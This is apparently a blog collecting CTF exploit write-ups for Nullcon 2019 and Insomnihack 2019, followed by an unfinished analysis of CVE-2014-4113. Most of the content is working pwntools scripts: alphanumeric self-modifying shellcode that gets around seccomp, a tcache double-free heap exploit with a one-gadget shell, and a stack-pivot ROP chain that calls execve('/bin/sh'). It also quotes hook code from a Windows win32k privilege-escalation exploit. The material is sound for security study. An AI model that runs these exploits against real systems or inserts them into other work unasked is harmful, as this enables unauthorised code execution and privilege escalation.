Nullcon2019 - peasy-shell

peasy_shell

  • This blog is for studying exploit script from veritas (Thank you!!!)

peasy-shell utilizes seccomp:

1
2
3
4
5
6
7
8
9
root@7abe3c39b1b1:/ctf/gg2_nullcon2019# seccomp-tools dump ./gg
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00051234 return ERRNO(4660)

Also, only alphanumeric input is allowed for shellcode, which means we need to write a self-modified shellcode.

Part of the source code for peasy-shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char **argv) {
int fd, i, count;
char *psc, *c;
void (*f)();
psc = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
assert(psc != NULL);
fflush(stdout);
f = (void (*)())psc;

while (1) {
make_rwx(psc);
c = psc;
count = read(0, psc, BUF_SIZE);
*(c + count) = '\xc3';
while (count--) {
if (!isalpha(*(c + count)) && !isdigit(*(c + count))) {
put("Epic Fail!");
exit(-1);
}
}
make_rx(psc);
f();
}
return 0;
}

Since the shellcode page becomes RX only, we have to call 0xAA4(make_rwx) in the beginning of the shellcode to make page RWX. To bypass PIE, we can overwrite the last 12 bits of the address.

A naive idea for exploitation is:

1
2
3
4
5
6
; Shellcode entry
xor dword ptr [rsp], 0xdeadbeef -> ret to make_rwx
read@plt
ROP
ROP
ret

To make the shellcode be alphanumeric,basic-amd64-alphanumeric-shellcode-encoder gives me some inspiration:

We can construct a alphanumeric shellcode as the following snippet to get a 12 bits magic value

1
2
3
4
5
6
7
8
9
10
11
12
push rsp
pop rdx
push dword ptr A
push rsp
pop rcx
imul esi,[rcx], dword ptr B
pop r10
push rdx
pop rcx
xor [rcx], esi
pop rax
xor (C, D, determined by z3)...

To do so, I wrote a simple Z3 script to get 32-bit variables A B C D:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from string import digits, ascii_uppercase, ascii_lowercase
from z3 import *
from pwn import *

XOR_EXPECTED = 0x0bf ^ 0xec3

#0x8c0 ^ 0xec3
#0x8c0 ^ 0xaa4
#0xe4e ^ 0xaa4

def add_constraints(smt, a, length):
i = 0
while (i < length * 8):
smt.add(Or(And(Extract(i + 7, i, a) >= 0x30), And(Extract(i + 7, i, a) <= 0x57)), And(Extract(i + 7, i, a) >= 0x61), And(Extract(i + 7, i, a) <= 0x7a))
i += 8

# If no sat, add more variable!
a, b, c, d= BitVecs('a b c d', 64)
smt = Solver()

# Only for last 12 bits
smt.add(((a * b) & 0xfff) ^ c ^ d == XOR_EXPECTED)
smt.add((a * b) & 0xfffff000 == 0)

smt.add(a & 0xffffffff00000000 == 0)
smt.add(b & 0xffffffff00000000 == 0)

add_constraints(smt, a, 4)
add_constraints(smt, b, 4)
add_constraints(smt, c, 4)
add_constraints(smt, d, 4)

if smt.check() == sat:
m = smt.model()
print 'a = ' + hex(m[a].as_long())
print 'b = ' + hex(m[b].as_long())
print 'c = ' + hex(m[c].as_long())
print 'd = ' + hex(m[d].as_long())
else:
print 'no way'

print 'done'

For make_rwx, we can get:

1
2
3
4
[b = 1818912100,
a = 1751278958,
c = 1650614632,
d = 1650614650]

Final exploit (slightly modified from veritas’s script):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# -*- coding: utf-8 -*-

from pwn import *
from amd64_alphanum_encoder import alphanum_encoder

context.os = 'linux'
context.arch = 'amd64'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './gg'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
#gdb.attach(p, command)
gdb.attach(pidof('gg')[-1],open('debug'))
raw_input()

def exploit():
#debug()

shellcode = '''
push rsp;pop rdx
push 0x6862656e;push rsp;pop rcx;imul esi,[rcx],0x6c6a6564;pop r10
/* r10 == 0x5a5a5a68, [rsp] <- 0x5a5a5a68, esi <- 0x488 */
push rdx;pop rcx /* rcx <- rsp */
xor [rcx],esi /* 0x557cf7c37ac6 */
pop rax
xor rax,0x62626168
xor rax,0x6262617a /* -> push rbp */
push rax /* rax = make_rwx 0xaa4*/

push rax
push rsp;pop rdx
push 0x64616f63;push rsp;pop rcx;imul esi,[rcx],0x6e616778;pop r10
push rdx;pop rcx
xor [rcx],esi
pop rax
xor rax,0x61616163
xor rax,0x6161686f
push rax /* rax = read_plt 0x8c0 */

push rax
push rsp;pop rdx
push 0x69696371;push rsp;pop rcx;imul esi,[rcx],0x796c636d;pop r10
push rdx;pop rcx
xor [rcx],esi
pop rax
xor rax,0x6162666a
xor rax,0x61626a74
push rax /* rax = rdi gadget 0xec3 */

xor rax,0x61616161
xor rax,0x61616163
push rax /* rax = rsi gadget 0xec1 */

push rdi
push rsp;pop rdx
push 0x786b6b63;push rsp;pop rcx;imul esi,[rcx],0x65757178;pop r10
push rdx;pop rcx
xor [rcx],esi
pop rax
xor rax, 0x61626a65
xor rax, 0x61626d71
push rax

/* now stack */
pop r9; /* 0x7ffff7ff30bf */
pop rax; /* 0x555555554ec1 ◂— pop rsi */
pop rcx; /* 0x555555554ec3 ◂— pop rdi */
pop rdx; /* 0x5555555548c0 ◂— jmp qword ptr [rip + 0x2016da] */
pop r8; /* 0x555555554aa4 ◂— push rbp */


/* rwx , gadget1, gadget2 ,read, shellcode*/

push r9
push rdx
push r14 /* zero */
push rcx
push r9
push r9
push rax
push r8
'''

p.send(asm(shellcode))

raw_input('[+] press to continue')

sc2='''
mov al,0
mov dl,0xff
syscall
'''
sc2=asm(sc2)

p.send(sc2)

raw_input('[+] press to continue')

sc3 = 'nop;'*6
sc3+=shellcraft.open('flag')
sc3+=shellcraft.read('rax','rsp',100)
sc3+=shellcraft.write(1,'rsp','rax')
sc3+=shellcraft.exit(233)
sc3=asm(sc3)
p.send(sc3)

p.interactive()

if __name__ == '__main__':

if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('pwn.ctf.nullcon.net', 4010)

exploit()

Nullcon2019 - easy shell

easy_shell

easy_shell utilizes seccomp:

1
2
3
4
5
6
7
8
9
root@7abe3c39b1b1:/ctf/gg_nullcon2019# seccomp-tools dump ./gg
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00051234 return ERRNO(4660)

Also, only alphanumeric input is allowed for shellcode, which means we need to write a self-modified shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './gg'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
#gdb.attach(p, command)
gdb.attach(pidof('gg')[-1],open('debug'))
raw_input()

def exploit():
#debug()
shellcode = '''
push r12
push r12
push r12 /* +2bytesfor push rax; push rax */

/* make sure shellcode is legal for dword ptr instructions. */
push rax
pop rax
push rax
pop rax
push rax
pop rax
push rax
pop rax

pop rcx

/* XOR pop rsi, pop rdi, syscall */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x35-0x2], eax

push 0x41414141
pop rax
xor DWORD PTR [rcx+0x79+0x1], eax

/* rdi = flag */
push rcx
pop rax
xor al, 0x75+0x1 /* str offset */
push rax /* -> rdi */

/* rdx == rsi == 0 */
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax /* -> rsi */

/* rax = 2 (SYS_open) */
push 0x78
pop rax
xor al, 0x7a

/* pop rsi, pop rdi*/
/* syscall */
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44

/* 2. read(rax, r12_base, 32) */

/* XOR pop rsi, pop rdi, syscall */
pop rcx /* Shellcode EP */
push rcx /* For write syscall. */
push rax /* Save open fd. */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x50], eax
pop rax

/* rdx = 0x41 */
push 0x41
pop rdx

/* rdi = fd = rax */
push rax /* -> rdi */

/* rsi == rcx */
push rcx /* rsi -> Shellcode EP */

/* rax = 0 (SYS_read) */
push 0x7a
pop rax
xor al, 0x7a

push rax # otherwise rcx+0x60-1 is not legal
pop rax

/* pop rsi, pop rdi*/
/* syscall */
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44

/* 3. Write. */

push 0x41413030
pop rax
pop rcx
xor DWORD PTR [rcx+0x72], eax /*?*/

/* rdx == 0x60 */
push 0x30
pop rax
xor al, 0x50
push rax
pop rdx

/* rsi == Shellcode EP */
pop rcx
push rcx

/* rdi == 0x1 */
push 0x6a
pop rax
xor al, 0x6b
push rax /* For rdi. */

/* rax = 1 (SYS_write) */
push 0x50
pop rax
xor al, 0x51

/* pop rdi, pop rsi*/
/* syscall */
.byte 0x6f
.byte 0x6e
.byte 0x4e
.byte 0x44

/* flag */
.byte 0x66
.byte 0x6c
.byte 0x61
.byte 0x67

.byte 0x41
.byte 0x41
.byte 0x41
.byte 0x41
'''

shellcode = asm(shellcode)
#print hexdump(shellcode)
info('waiting...')
p.send(shellcode)
success(p.recv())
p.interactive()

if __name__ == '__main__':

if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('pwn.ctf.nullcon.net', 4010)

exploit()

Flag ! hackim19{to_reaad_or_not_to_r34d}

Nullcon2019 - HackIM shop

hackim_shop

First time learning tcache. Finding vulnerability is effortless:

1
2
3
4
5
6
7
8
9
10
11
12
int remove_book()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Book index: ");
v1 = readint();
if ( num_books <= v1 )
return puts("Invalid index");
free(*(books[v1] + 1));
free(books[v1]);
return num_books-- - 1;
}

Reversed book struct:

1
2
3
4
5
6
struct book {
__int64 num; // max 0x10
char *buf;
__int64 price;
char copyright[0x20];
}

Since libc is not provided, we can test the libc version on remote:

  • Free 0x100 chunk and print it. fd/bk is NULL
    • libc version should be 2.26-2.28
  • Free chunk in tcache twice without crashing
    • libc verson should be 2.26/2.27

Solution: unsorted bin leak + tcache dup + one shot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import re

context.os = 'linux'
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './challenge-1'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()

def add_cart(book_name, name_len, book_price):
p.recvuntil('> ')
p.send('1')
p.recvuntil('Book name length: ')
p.sendline(str(name_len))
p.recvuntil('Book name: ')
p.send(book_name)
p.recvuntil('Book price: ')
p.sendline(str(book_price))

def del_cart(book_index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Book index: ')
p.sendline(str(book_index))

def view_cart():
p.recvuntil('> ')
p.sendline('3')

buf = p.recvuntil('> ')
matches = re.findall(r'\"name\": \"(.*)\",\n', buf)
for match in matches:
if '\xa0' in match:
leak = u64(match.ljust(8, '\x00'))
info('leak = 0x%x', leak)
p.sendline('a')
return leak

def exploit():
add_cart('A'*0x90, 0x90, 12)
add_cart('A'*0x70, 0x70, 12)
add_cart('A'*0xff, 0xff, 12) # we leak this guy

for i in range(7):
add_cart('\xff'*0xff, 0xff, 1)
for i in range(7):
del_cart(10-1-i)

del_cart(2) # last byte on remote is \xa0 -> same libc

leak = view_cart()

libc.address = leak - 0x3ebca0
success('base = 0x%x', libc.address)

# Fill tcache with 0x90
for i in range(7):
add_cart('A'*0x90, 0x90, 12)

del_cart(0)
del_cart(0) # Dup 0x90 and 0x38 (side effect)

payload = p64(0x602018)
add_cart(payload, 0x90, 12)
add_cart('k'*0x90, 0x90, 12) # Overwrite 0x90 chunk->fd

# tcache 0x38 -> 0x11
del_cart(1) # save 0x38 chunk from 0x11 (num_book)

one_shot = libc.address + 0x10a38c #0x4f322 #0x4f322
success('One shot ... 0x%x', one_shot)
add_cart(p64(one_shot), 0x90, 13)
del_cart(0) # shell

p.interactive()

if __name__ == '__main__':

if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('pwn.ctf.nullcon.net', 4002)

exploit()

Flag! hackim19{hop3_7ha7_Uaf_4nd_f0rm4ts_w3r3_fun_4_you}

Insomnihack2019 - Junkyard & onewrite

Junk yard Problem Description

Wall-E got stuck in a big pile of sh*t. To protect him from feeling too bad, its software issued an emergency lock down. Sadly, the software had a conscience and its curiosity caused him to take a glance at the pervasive filth. The filth glanced back, and then…

Please free Wall-E. The software was invented by advanced beings, so maybe it is way over your head. Please skill up fast though, Wall-E cannot wait for too long. To unlock it, use the login “73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81” and the correct password.

junkyard

Writeup for Junk yard

The binary has lots of junk functions and junk variables with specious arithmetic operations. The binary first checks the commandline argument. If failed, function_0x2AF8(int option) is called to decrypt hexstring in 0x8b80 and print it. A simple gdb python script can discover all encrypted texts If people wonder what they are:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gdb

gdb.execute('start')
gdb.execute('b *0x555555556EB3') # No aslr
option = int(input().strip())
gdb.execute('c')

gdb.execute('set $rdi=%d' % option)
gdb.execute('c')

'''
int option - text
0 - i don't like your name
1 - Is that a password?
2 - 1`f41:2dd5`17<461`54b6f17oa4d15d70f;1af7b73a7nad
3 - Well, stop wasting any more of your time and submit the flag...
4 - Maybe they're hiring at mc donald's? :/
5 - Flipping burgers is not that bad you know...
6 - wow, so big!!
7 - Computing stuff...
8 - ./chall user pass
'''

Obviously, function_0x3857(char *username, char *password) is for validating the user input:

  1. Expand username and password string.
  2. Calculate seed by password[0], password[42] with username and const table.
  3. For each digit 0-9 in the key, use a simple permutation and append the result to the key.
  4. If the length of the key is less than 16, add ‘a’ for padding.
  5. Calculate MD5 value of the hexlified key from the index [5, 8]. If the hexlified MD5 value equals to 27debb435021eb68b3965290b5e24c49, call function_0x33F2 to decrypt the flag.

Since MD5('7303') == 27debb435021eb68b3965290b5e24c49 and the value of the key is deterministic only if the seed, the following script can search all possible seed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import idaapi
import binascii
import itertools

main_table = 0x8140
candidates = []

def init_xor_sum():
# Expanded from '73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81'
a = '73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81FFB4D44DA156C1FFB4D4'
b = 0

for i in xrange(64):
b += (2*ord(a[i])) ^ 0x3627

return b

for i, j in itertools.product(xrange(0x100), xrange(0x100)):
unknown1 = i - 0x30
unknown2 = Dword(main_table + j * 4) + 0x27a + unknown1
xor_sum = init_xor_sum() + unknown2

index = main_table + 4 * (0x9b - unknown1)
test = str(Dword(index) + xor_sum)
test = binascii.hexlify(test)
if test.find('7303') == 5 and test not in candidates:
candidates.append(binascii.unhexlify(test))

print candidates # 631 candidates

In function_0x33F2, binary uses AES-CBC with IV 1234123412341234 and the key to decrypt the flag. Iterate all possible seeds and get flag INS{Ev3ryb0dy_go0d?PleNty_oF_sl4v3s_FoR_My_r0bot_Col0ny?}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import binascii
from Crypto.Cipher import AES

candidates = ['927038', '947076', '947082', '927013', '947051', '947057', '947090', '927001', '947039', '947045', '947078', '927082', '937032', '937052', '947060', '927003', '927070', '947027', '927044', '947001', '927066', '927071', '937023', '927049', '927054', '937006', '927018', '937046', '927065', '937061', '927001', '947093', '927095', '937056', '947094', '947009', '947036', '927003', '937087', '947071', '947091', '937084', '947059', '947072', '947098', '937079', '947054', '947067', '947093', '947093', '937071', '947046', '937040', '947015', '927039', '937037', '937044', '937063', '947038', '927023', '927051', '937018', '947012', '937033', '927081', '927076', '937073', '937084', '937041', '937052', '927034', '947046', '947082', '927005', '947017', '947053', '947078', '947061', '947091', '947048', '947078', '947047', '947077', '947013', '947093', '927023', '947076', '947083', '947048', '947055', '947089', '927072', '947000', '947034', '947070', '927004', '927061', '927065', '947002', '927052', '927056', '927092', '947094', '927012', '927065', '927080', '937056', '947012', '947079', '917030', '917032', '917091', '927038', '927085', '927066', '927096', '917040', '947070', '947073', '937003', '947042', '927017', '947001', '937065', '927073', '947090', '927055', '947072', '917034', '927003', '927023', '917033', '917054', '917081', '917099', '927042', '927083', '927070', '927083', '937082', '927060', '927073', '937072', '937011', '937026', '937032', '917056', '917019', '917030', '927021', '937072', '927006', '937059', '917090', '937006', '917014', '917077', '917059', '937089', '917053', '937083', '927027', '937088', '917093', '927002', '937003', '937036', '927082', '917016', '927044', '917098', '927094', '917026', '927022', '917062', '927023', '927096', '937061', '927048', '937029', '917067', '927088', '937075', '937093', '937041', '937068', '937010', '937037', '917061', '917042', '927015', '937003', '937029', '937013', '927043', '937018', '917033', '917061', '927028', '937022', '927045', '917083', '917081', '927009', '927092', '937049', '927080', '937009', '937076', '917051', '917055', '917016', '937028', '937064', '937003', '937053', '937083', '937075', '907044', '917030', '927068', '937030', '907025', '917011', '927049', '937011', '907061', '907088', '917024', '937073', '907029', '907056', '937041', '907057', '907061', '917087', '937087', '937043', '937001', '937079', '937086', '937030', '937037', '937071', '917046', '937008', '937044', '917018', '917075', '917079', '937016', '917043', '917047', '917083', '937085', '917007', '917011', '917047', '917074', '917093', '937049', '917004', '917008', '917044', '917071', '917090', '937046', '917040', '917055', '927031', '927080', '937054', '907016', '907030', '917078', '937050', '897087', '917018', '927025', '927039', '927070', '927090', '907025', '917080', '927048', '937008', '937028', '907057', '907028', '937099', '907054', '937057', '907008', '937011', '937062', '937065', '907035', '907064', '927050', '907010', '907039', '927025', '907023', '917066', '937040', '937050', '907009', '917052', '937026', '937036', '917000', '927096', '927068', '917088', '917092', '937090', '917062', '917066', '937064', '917027', '917031', '917068', '937029', '917024', '917028', '917065', '917098', '937026', '917009', '917042', '917071', '927087', '927097', '937070', '917022', '927016', '927045', '917020', '937037', '917026', '917059', '907080', '917049', '917069', '917060', '917001', '927055', '927085', '917098', '927052', '927082', '907016', '907043', '907061', '907085', '917004', '917045', '907015', '907039', '917002', '917015', '927014', '927047', '907021', '917011', '917054', '927039', '907083', '917095', '927012', '907017', '917029', '927082', '907074', '927032', '907028', '907084', '907089', '917041', '907014', '917042', '907049', '917045', '907050', '927039', '907017', '917051', '927016', '927081', '907094', '917036', '927017', '907090', '917032', '927013', '927097', '907036', '917057', '927044', '927062', '927075', '927050', '927077', '917051', '927035', '917070', '927045', '927058', '927084', '917041', '927016', '927029', '927055', '917064', '927039', '907091', '917002', '917089', '917096', '927090', '907036', '917044', '917098', '927092', '907019', '907009', '917031', '907048', '917004', '917099', '907070', '917092', '917099', '927096', '907047', '907094', '917069', '917076', '927073', '907030', '907077', '917052', '917059', '927056', '907004', '907051', '917026', '917033', '927030', '907031', '917006', '917013', '927010', '927085', '917061', '927057', '907020', '927032', '927068', '927078', '897075', '907038', '927087', '907034', '927011', '927084', '907015', '907068', '907083', '917059', '927015', '927082', '897024', '897092', '927049', '897064', '897092', '907073', '907099', '927021', '897068', '907074', '917034', '927032', '907097', '897049', '907097', '927008', '927069', '897050', '917073', '927002', '927033', '927053', '907093', '917098', '927057', '907070', '917075', '927034', '897074', '907012', '917017', '927077', '917064', '927011', '927014', '927038', '897074', '917089', '927011', '897007', '897036', '917022', '927097', '897006', '907049', '927023', '927033', '907058', '927075', '907055', '927072', '907095', '917098', '927013', '897095', '907069', '917072', '907008', '907041', '897044', '907013', '907033', '897045', '907014', '907034', '897060', '907029', '907049', '897061', '907030', '907050', '897062', '907031', '907051', '897063', '907032', '907052', '897064', '907033', '907053', '937002', '937059', '937063', '937099', '957000', '897066', '907035', '907055', '897067', '907036', '907056', '897068', '907037', '907057', '937021', '947033', '957086', '897070', '907039', '907059', '937015', '947027', '957080', '897072', '907041', '907061', '937009', '947021', '957074', '897074', '907043', '907063', '937003', '947015', '957068', '897076', '907045', '907065', '947009', '957062', '897078', '907047', '907067', '947003', '957056', '897080', '907049', '907069', '957050', '897082', '907051', '907071', '957044', '897084', '907053', '907073', '957038', '897086', '907055', '907075', '957032', '897088', '907057', '907077', '957026', '897090', '907059', '907079', '957020', '897092', '907061', '907081', '937098', '957014', '897094', '907063', '907083', '937084', '957000']
table = 'ABCDEFGHIJ'
encrypted = 'b0234db3e7823748303290fb70cd9eb220574e1e031f9741c332af2147396bc59e6a48b8dbce4606362102c977a185a69ebdf5f2bc967552f09f1ba49bb15753'
IV = '1234123412341234'

for i in candidates:
org_num = int(i)
key = str(org_num)
key += 'a' * (16 - len(key))
key = list(key)

digits = len(str(org_num))
for j in range(digits):
if j + digits <= 15:
key[digits + j] = table[org_num - 10 * (org_num / 10)]
org_num = org_num / 10
if org_num == 0:
break
else:
break

key = ''.join(key)
cipher = AES.new(key, AES.MODE_CBC, IV)
flag = cipher.decrypt(binascii.unhexlify(encrypted))

if 'INS{' in flag:
print flag

Writeup for onewrite

Utilize gadget pop rsp; ret to pivot the stack and restart the program permanently.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding: utf-8 -*-

from pwn import *
from fastlog import log

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './onewrite'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
gdb.attach(pidof('onewrite')[-1], open('debug'))
raw_input()

def leak_addr(choice):
p.recvuntil(' > ')
p.sendline(choice)
leak = p.recvline().strip()[2:]
return int(leak, 16)

def fill_ret(stack_addr, value):
leak_addr('1')
p.send(str(stack_addr))
p.send(p64(value))

def exploit():
stack_addr = leak_addr('1')

# ret
ret = stack_addr + 0x28
info('ret addr 0x%lx' % ret)
p.send(str(ret))
p.send('\xb8\x2a')

# Leak PIE
addr = leak_addr('2')
pie_offset = addr - 0x8a15
main_addr = pie_offset + 0x8ab8
info('pie base 0x%lx' % pie_offset)
bss = 0x2b3300 + pie_offset
info('rop 0x%lx' % bss)
p.send(str(ret+8))
p.send(p64(main_addr))

fill_ret(ret+16, main_addr)
fill_ret(ret+24, main_addr)

'''
[──────────────────────────────────────────STACK──────────────────────────────────────────]
00:0000│ rsi rsp 0x7fffffffed30 —▸ 0x7ffff7d52ab8 (main) ◂— sub rsp, 8
... ↓
02:0010│ 0x7fffffffed40 ◂— 0x0
03:0018│ 0x7fffffffed48 ◂— 0x5e00000006
04:0020│ 0x7fffffffed50 ◂— 0x300000050 /* 'P' */
05:0028│ 0x7fffffffed58 ◂— 0x0

$rsp+8: gadget 0x7ffff7d52ab8, so we have one extra chance to overwrite 8 bytes
'''

fill_ret(ret+24+16, pie_offset+0x946a) # pop rsp; ret

'''
choose RSP
04:0020│ 0x7fffffffed10 —▸ 0x7ffff7d52ab2 (do_leak+157) ◂— nop
05:0028│ 0x7fffffffed18 —▸ 0x7ffff7d53780 (__libc_csu_init) ◂— push r15
06:0030│ 0x7fffffffed20 —▸ 0x7ffff7d52a15 (do_leak) ◂— sub rsp, 0x18
07:0038│ 0x7fffffffed28 ◂— 0x0
08:0040│ 0x7fffffffed30 —▸ 0x7ffff7d52b09 (main+81) ◂— nop
09:0048│ 0x7fffffffed38 —▸ 0x7ffff7d52ab8 (main) ◂— sub rsp, 8
0a:0050│ rsp 0x7fffffffed40 —▸ 0x7ffff7d5346a (check_one_fd+42) ◂— pop rsp
0b:0058│ rsi 0x7fffffffed48 ◂— 0xdeadbeefdeadbeef
0c:0060│ 0x7fffffffed50 ◂— 0x300000050 /* 'P' */
'''
#fill_ret(ret+24+24, 0xdeadbeefdeadbeef)

fill_ret(ret+24+24, ret+24+8)

rop = (
pie_offset + 0x84fa, # pop rdi ; ret; <- ret + 0x200
ret + 0x200 + 0x50, # point to /bin/sh
pie_offset + 0xd9f2, # pop rsi ; ret;
0,
pie_offset + 0x484c5, # pop rdx ; ret;
0,
pie_offset + 0x460ac, # pop rax ; ret;
59, # execve
pie_offset + 0x6e605, # syscall ret
0xbeefdead,
u64('/bin/sh\x00'),
)

for i in range(len(rop)):
fill_ret(ret+0x200+i*8, rop[i])

#debug()
fill_ret(ret+24+24, ret+0x200)

p.interactive()

if __name__ == '__main__':
log.setLevel(log.DEBUG)

if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('onewrite.teaser.insomnihack.ch', 1337)

exploit()

CVE-2014-4113

Exploit code reference: https://github.com/sam-b/CVE-2014-4113/blob/master/Exploit/Exploit/Exploit.cpp

When tracing the usermode API TrackPopupMenu to kernel win32k modules, the following win32k functions are executed:

1
2
3
4
5
6
7
win32k!xxxTrackPopupMenuEx
->
win32k!xxxMNLoop (The menu processing entry point.)
->
win32k!xxxHandleMenuMessages
->
win32k!xxxMNFindWindowFromPoint (Determines in which window the point lies)

In win32k!xxxMNFindWindowFromPoint, it calls win32k!xxxSendMessage with Windows message 0x1EB.

However, the usermode hook callback function captures Windows message 0x1EB and return 0xFFFFFFFB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent to a window when the function xxxMNFindWindowFromPoint is called
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
